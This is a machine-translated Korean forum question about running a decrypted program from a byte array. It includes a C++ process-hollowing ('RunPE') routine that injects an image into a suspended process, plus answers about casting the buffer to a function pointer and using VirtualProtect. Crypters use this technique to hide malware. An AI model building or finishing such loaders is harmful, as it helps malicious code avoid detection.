2012-04-30 3 views
1

암호화 된 프로그램이 있다고 가정 해 봅시다. decrypter를 사용하여 바이트를 배열로로드하고 해독합니다.C++에서 바이트 배열을 실행하는 방법

다른 실행 파일을 만들 필요없이 어떻게 이러한 바이트를 실행할 수 있는지 알고 싶습니다.

'포킹'을 사용하는 것이 가능하다는 것을 읽었습니다. 그렇게하는 것이 가장 좋습니다. 그러나 내 코드를 성공적으로 실행할 수 없으며 오류를 반환하지 않습니다. 여기에 내가 가진 무엇의 샘플입니다 :

당신이 짐작 하듯이
//<main> 
    char* lpMemory; 
    lpMemory = (char*)malloc (fileSize); 
    memset(lpMemory,0,fileSize); 
    memcpy (lpMemory, fileBuf, fileSize); 
    RunFromMemory(lpMemory, /* What here? */); 

    //</main> 

void RunFromMemory(char* pImage,char* pPath) 
{ 
DWORD dwWritten = 0; 
DWORD dwHeader = 0; 
DWORD dwImageSize = 0; 
DWORD dwSectionCount = 0; 
DWORD dwSectionSize = 0; 
DWORD firstSection = 0; 
DWORD previousProtection = 0; 
DWORD jmpSize = 0; 

IMAGE_NT_HEADERS INH; 
IMAGE_DOS_HEADER IDH; 
IMAGE_SECTION_HEADER Sections[1000]; 

PROCESS_INFORMATION peProcessInformation; 
STARTUPINFO peStartUpInformation; 
CONTEXT pContext; 

char* pMemory; 
char* pFile; 
memcpy(&IDH,pImage,sizeof(IDH)); 
memcpy(&INH,(void*)((DWORD)pImage+IDH.e_lfanew),sizeof(INH)); 

dwImageSize = INH.OptionalHeader.SizeOfImage; 
pMemory = (char*)malloc(dwImageSize); 
memset(pMemory,0,dwImageSize); 
pFile = pMemory; 

dwHeader = INH.OptionalHeader.SizeOfHeaders; 
firstSection = (DWORD)(((DWORD)pImage+IDH.e_lfanew) + sizeof(IMAGE_NT_HEADERS)); 
memcpy(Sections,(char*)(firstSection),sizeof(IMAGE_SECTION_HEADER)*INH.FileHeader.NumberOfSections); 

memcpy(pFile,pImage,dwHeader); 

if((INH.OptionalHeader.SizeOfHeaders % INH.OptionalHeader.SectionAlignment)==0) 
{ 
    jmpSize = INH.OptionalHeader.SizeOfHeaders; 
} 
else 
{ 
    jmpSize = INH.OptionalHeader.SizeOfHeaders/INH.OptionalHeader.SectionAlignment; 
    jmpSize += 1; 
    jmpSize *= INH.OptionalHeader.SectionAlignment; 
} 

pFile = (char*)((DWORD)pFile + jmpSize); 

for(dwSectionCount = 0; dwSectionCount < INH.FileHeader.NumberOfSections; dwSectionCount++) 
{ 
    jmpSize = 0; 
    dwSectionSize = Sections[dwSectionCount].SizeOfRawData; 
    memcpy(pFile,(char*)(pImage + Sections[dwSectionCount].PointerToRawData),dwSectionSize); 

    if((Sections[dwSectionCount].Misc.VirtualSize % INH.OptionalHeader.SectionAlignment)==0) 
    { 
     jmpSize = Sections[dwSectionCount].Misc.VirtualSize; 
    } 
    else 
    { 
     jmpSize = Sections[dwSectionCount].Misc.VirtualSize/INH.OptionalHeader.SectionAlignment; 
     jmpSize += 1; 
     jmpSize *= INH.OptionalHeader.SectionAlignment; 
    } 
    pFile = (char*)((DWORD)pFile + jmpSize); 
} 


memset(&peStartUpInformation,0,sizeof(STARTUPINFO)); 
memset(&peProcessInformation,0,sizeof(PROCESS_INFORMATION)); 
memset(&pContext,0,sizeof(CONTEXT)); 

peStartUpInformation.cb = sizeof(peStartUpInformation); 
if(CreateProcess(NULL, pPath, NULL /*&secAttrib*/, NULL,false,CREATE_SUSPENDED, NULL,NULL,&peStartUpInformation,&peProcessInformation)) 
{ 
    pContext.ContextFlags = CONTEXT_FULL; 
    GetThreadContext(peProcessInformation.hThread,&pContext); 
    VirtualProtectEx(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),dwImageSize,PAGE_EXECUTE_READWRITE,&previousProtection); 
    WriteProcessMemory(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),pMemory,dwImageSize,&dwWritten); 
    WriteProcessMemory(peProcessInformation.hProcess,(void*)((DWORD)pContext.Ebx + 8),&INH.OptionalHeader.ImageBase,4,&dwWritten); 
    pContext.Eax = INH.OptionalHeader.ImageBase + INH.OptionalHeader.AddressOfEntryPoint; 
    SetThreadContext(peProcessInformation.hThread,&pContext); 
    VirtualProtectEx(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),dwImageSize,previousProtection,0); 
    ResumeThread(peProcessInformation.hThread); 
} 
free(pMemory); 
} 

는 '이는 파일 크기는'프로그램의 크기와 'fileBuf'는 바이트의 배열입니다. 그 두 값이 모두 정확하다고 확신합니다.

나를 도울 수있는 자원에 대한 링크는 높이 평가됩니다. 고맙습니다.

+0

배열 포인터를 void 포인터로 캐스팅 한 다음 함수 포인터로 캐스팅 한 다음 함수 포인터를 호출 하시겠습니까? 나는 이것이 정의되지 않은 동작이라는 것을 거의 확신하고 있으며, 거의 대부분의 컴퓨터에서 작동 할 것이라고 확신합니다. – dasblinkenlight

+0

또한, 실행 불능 비트 기능을 사용해야합니다. http://en.wikipedia.org/wiki/NX_bit. – Matt

+2

당신은 ** 바이러스를 작성하지 않았습니다 **, 그렇습니까? – dasblinkenlight

답변

1

실제로 배열의 바이트 수에 따라 배열 포인터를 함수 포인터에 직접 입력 한 다음 다른 함수와 마찬가지로 "함수"를 호출 할 수 있습니다. 이 작업을 수행하려면 어레이가 실행 가능 메모리 (VirtualProtect() 참조)에 있어야하고 어셈블리 명령어의 바이트 표현 만 포함하고 나머지는 포함하지 않아야합니다.

+0

문제는 내가 파일의 전체 내용을 복사했다는 것입니다. 실행되는 코드 만 얻는 방법을 알고 있습니까? –

+0

당신의 도움에 감사드립니다. –

1

예 가능 : 바이트 배열의 포인터를 함수 포인터로 캐스팅 한 후 호출하는 것이 가장 쉬운 방법입니다. 두 번째 방법은 인라인 어셈블러를 사용하고 바이트 배열의 주소에 jmp를 수행하는 것입니다. 어레이가 할당 된 힙 또는 스택은 실행 가능하지 않으며 VirtualProtect 및 관련 api (win32 용)를 사용해야합니다.

관련 문제